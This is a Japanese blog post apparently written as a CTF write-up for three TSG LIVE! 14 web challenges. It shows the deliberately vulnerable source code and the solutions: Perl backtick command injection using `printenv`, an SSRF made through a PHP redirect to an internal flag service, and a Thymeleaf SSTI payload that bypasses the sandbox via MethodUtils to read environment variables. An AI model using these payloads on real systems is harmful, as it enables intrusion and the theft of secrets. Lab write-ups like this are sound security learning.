st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

TSG LIVE! 14 CTFのwriteup

5/24に2時間半という短さで開催された。チーム鰯鱪の𝔖𝔞𝔱𝔬𝔨𝔦として参加し、1位。いずれのWeb問もシンプルながら面白かった。perling_perlerとShortnmではsecond solve、iwi_deco_demoは苦手なJavaだったけれどもfirst bloodが取れてよかった。


[Web 205] perling_perler (20 solves)

(問題サーバのURL)

perl

添付ファイル: perling_perler.tar.gz

docker-compose.yml は次の通り。環境変数の FLAG にフラグが含まれているらしいが、ソースコードを検索しても見つからない。任意コード実行(RCE)かPath Traversalが必要そうだ。

services:
  web:
    build: .
    ports:
      - "41323:3000"
    environment:
      - FLAG="TSGLIVE{REDACTED}"

メインの app.pl は次の通り。なんとユーザ入力をOSコマンド中に展開してしまっている。ただし、&, ;, <, >, |, (, ), (半角スペース)が使えない。重要な文字ばかりだけれども、抜け道はいくらでもあるはずだ。

#!/usr/bin/env perl
use Dancer2;

set template => 'template_toolkit';

get '/' => sub {
    return template 'index';
};

post '/echo' => sub {
    my $str = body_parameters->get('str');
    unless (defined $str) {
        return "No input provided";
    }

    if ($str =~ /[&;<>|\(\)\$\ ]/) {
        return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>";
    };

    my $output = `echo $str`;

    return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>";
};

start;

`printenv` で次のように環境変数が得られた。

HOSTNAME=27f06e778cd4 HOME=/home/appuser PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/app FLAG="TSGLIVE{5h3ll1ng_5h3ll3r}"
TSGLIVE{5h3ll1ng_5h3ll3r}

[Web 305] Shortnm (8 solves)

(問題サーバのURL)

URL短縮サービスを作りました。

添付ファイル: shortnm.tar.gz

docker-compose.yml は次の通り。flag という大変怪しげなサービスがあるので、このコードから読んでいこう。

services:
  app:
    build: .
    ports:
      - "32654:8000"
    depends_on:
      - redis
      - flag
    environment:
      - REDIS_HOST=redis

  redis:
    image: redis:7

  flag:
    build: ./flag
    expose:
      - "45654"

コードは次の通り。ホスト名やポート番号はちゃんと flag:45654 のままで /flag にアクセスすればフラグが得られるらしい。ただし、先程のYAMLを見ればわかるように、外部には公開されていない。内部の別のサービスからアクセスする必要がある。

from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse

app = FastAPI()

@app.get("/flag")
async def get_flag(request: Request):
    host = request.headers.get("host", "")
    if host == "flag:45654" and request.url.port == 45654:
        return PlainTextResponse("TSGLIVE{REDACTED}")
    return PlainTextResponse("Access denied", status_code=403)

app のコードは次の通り。/shorten, /shortem, /shortenm という3つのエンドポイントが生えている。問題文の通り短縮URLを作成するけれども、後ろの方はリダイレクト先のプレビューというのかな、ができるらしい。何も考えずに http://flag:45654/flag をすべてのAPIに投げてみるが、不発。

from fastapi import FastAPI, Query, Request, Response
from fastapi.responses import RedirectResponse, HTMLResponse
from fastapi.templating import Jinja2Templates
import redis
import httpx
import string, random, os

app = FastAPI()
r = redis.Redis(host=os.getenv("REDIS_HOST", "localhost"), port=6379, decode_responses=True)
templates = Jinja2Templates(directory="templates")

def generate_id(length=12):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

@app.get("/", response_class=HTMLResponse)
async def index(request: Request):
    return templates.TemplateResponse("index.html", {"request": request})

@app.get("/shorten")
async def shorten(request: Request, url: str = Query(...), format: str = Query(None)):
    short_id = generate_id()
    r.set(short_id, url)
    
    base_url = str(request.base_url).rstrip("/")
    short_url = f"{base_url}/{short_id}"
    if (format == "json"):
        return {"shorturl": short_url}
    else:
        return templates.TemplateResponse("result.html", {"request": request, "short_url": short_url})

@app.get("/shortem")
async def shortem(request: Request, url: str = Query(...), format: str = Query(None)):
    short_id = generate_id()
    url = 'http://is.gd/create.php?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    base_url = str(request.base_url).rstrip("/")
    short_url = f"{base_url}/{short_id}"
    if (format == "json"):
        return {"shorturl": short_url}
    else:
        return templates.TemplateResponse("result.html", {"request": request, "short_url": short_url})

@app.get("/shortenm")
async def shortenm(url: str = Query(...)):
    short_id = generate_id() 
    url = 'http://localhost:8000/shortem?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    short_id = generate_id() 
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)    
    return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))

@app.get("/{short_id}")
async def redirect(short_id: str):
    url = r.get(short_id)
    if url:
        return RedirectResponse(url)
    return HTMLResponse("URL not found", status_code=404)

よく見ると、httpx.AsyncClientfollow_redirects=True というオプションが渡っている。なるほど、リダイレクトがあればそれを追ってくれるらしい。これだ。

次のようなPHPコードをホストし、/shortnm に投げる。これでフラグが得られた。

<?php
header('Location: http://flag:45654/flag');
TSGLIVE{Cr3a71ng_7h3_SSRF_pr0bl3m_wa5_d1ff1cul7}

[Web 428] iwi_deco_demo (3 solves)

(問題サーバのURL)

JavaのWebアプリはSpring Bootで書くといいらしいです。

添付ファイル: iwi_deco_demo.tar.gz

docker-compose.yml は次の通り。また環境変数にフラグがある。ソースコード中で一切参照されていないので、RCEなりPath Traversalなりが必要だ。

services:
  app:
    restart: always
    build: .
    ports:
      - "8080:8080"
    environment:
      - FLAG="TSGLIVE{REDACTED}"

Javaのコードで特に重要なコントローラ部分は次の通り。変なことはしていないように思える。

package iwi.demo;

import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;

import org.apache.commons.lang3.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.ui.Model;
import org.springframework.stereotype.Controller;

@Controller
public class DemoController {
  @GetMapping("/")
  public String home() {
    return "iwi_form";
  }

  @PostMapping("/profile")
  public String showProfile(@RequestParam("userId") String userId, Model model) {
    model.addAttribute("userId", userId);
    return "iwi_profile";
  }

  @GetMapping("/user/{userId}/settings")
  public String userSettings(@PathVariable String userId, Model model) {
    String lastLogin = LocalDateTime.now()
        .format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
    model.addAttribute("userId", userId);
    model.addAttribute("accountType", "Free");
    model.addAttribute("lastLogin", lastLogin);
    model.addAttribute("email", userId + "@example.com");
    model.addAttribute("description", "Please update your email.");
    return "iwi_user";
  }

  @PostMapping("/user/{userId}/settings")
  public String updateSettings(@PathVariable String userId,
      @RequestParam String email,
      @RequestParam String description,
      Model model) {
    String lastLogin = LocalDateTime.now()
        .format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));

    if (StringUtils.isBlank(email)) {
      model.addAttribute("message", "Email must not be blank.");
      email = userId + "@example.com";
    }

    if (StringUtils.isBlank(description)) {
      model.addAttribute("message", "Description is required.");
      description = "Please update your email.";
    }

    model.addAttribute("userId", userId);
    model.addAttribute("accountType", "Free");
    model.addAttribute("lastLogin", lastLogin);

    model.addAttribute("email", email);
    model.addAttribute("description", description);
    model.addAttribute("message", "Updated your profile.");

    return "iwi_user";
  }
}

テンプレートのうち、最初にユーザ名を入力した際のHTMLの一部は次の通り。Thymeleafを使っているらしいけれども、@{'/user/__${userId}__/settings'} という形でユーザIDを展開している。userId はユーザが自由に操作できるから、Server-Side Template Injection(SSTI)ができそうだ。試しに '+7*7+' というユーザ名にしてみると、/user/49/settings とリンク先が変わった。SSTIできているっぽいが、どうすれば環境変数の取得に繋げられるだろう。

Thymeleafのことをよく知らなかったので調べてみる。__${expression}__ というのはプリプロセッシング式と呼ばれるらしく、いわく expression で参照される値を展開し、真っ先に評価するらしいということがドキュメントを読むとわかる。

<body>
  <h1>Hello, [[${userId}]]!</h1>
  <p>Click below to go to your settings:</p>
  <a th:href="@{'/user/__${userId}__/settings'}">Go to Settings</a>
</body>

環境変数を展開したい。まず ' + ${T(java.lang.System)} + ' を試してみるが、500が返ってきた。どういうことかと docker compose logs -f でログを参照してみると、org.thymeleaf.exceptions.TemplateProcessingException: Instantiation of new objects and access to static classes or parameters is forbidden in this context (template: "iwi_profile" - line 33, col 6) というエラーが発生していた。SSTIできているけれども、禁止されているクラスを参照しようとしていると怒られている。

このエラーメッセージに SSTI というキーワードを加えて検索する*1と、バイパス手法が紹介されている大変有用なブログ記事が見つかる。これをもとに以下のペイロードができあがった。

'+${"".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod("".class.forName("java.lang.System"),"getenv")}+'

これを投げると、次のように環境変数を含むレスポンスが返ってきた。フラグが得られた。ジャババババ。

<body>
  <h1>Hello, &#39;+${&quot;&quot;.class.forName(&quot;org.apache.commons.lang3.reflect.MethodUtils&quot;).invokeStaticMethod(&quot;&quot;.class.forName(&quot;java.lang.System&quot;),&quot;getenv&quot;)}+&#39;!</h1>
  <p>Click below to go to your settings:</p>
  <a href="/user/{LANGUAGE=en_US:en, PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, HOSTNAME=09054ec85cdc, LC_ALL=en_US.UTF-8, LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib, JAVA_HOME=/opt/java/openjdk, JAVA_VERSION=jdk-17.0.15+6, FLAG=&quot;TSGLIVE{5pr1ng_b007_5571_w17h_apach3_lang3_by_PARZEL}&quot;, LANG=en_US.UTF-8, HOME=/home/appuser}/settings">Go to Settings</a>
</body>
TSGLIVE{5pr1ng_b007_5571_w17h_apach3_lang3_by_PARZEL}

*1:どうせ誰かが同じことを試して苦しみ、その解決方法をまとめているはずだと考えた。まさか2時間半のCTFで頑張ってペイロードを組み立てる問題は出さないだろうと踏んだ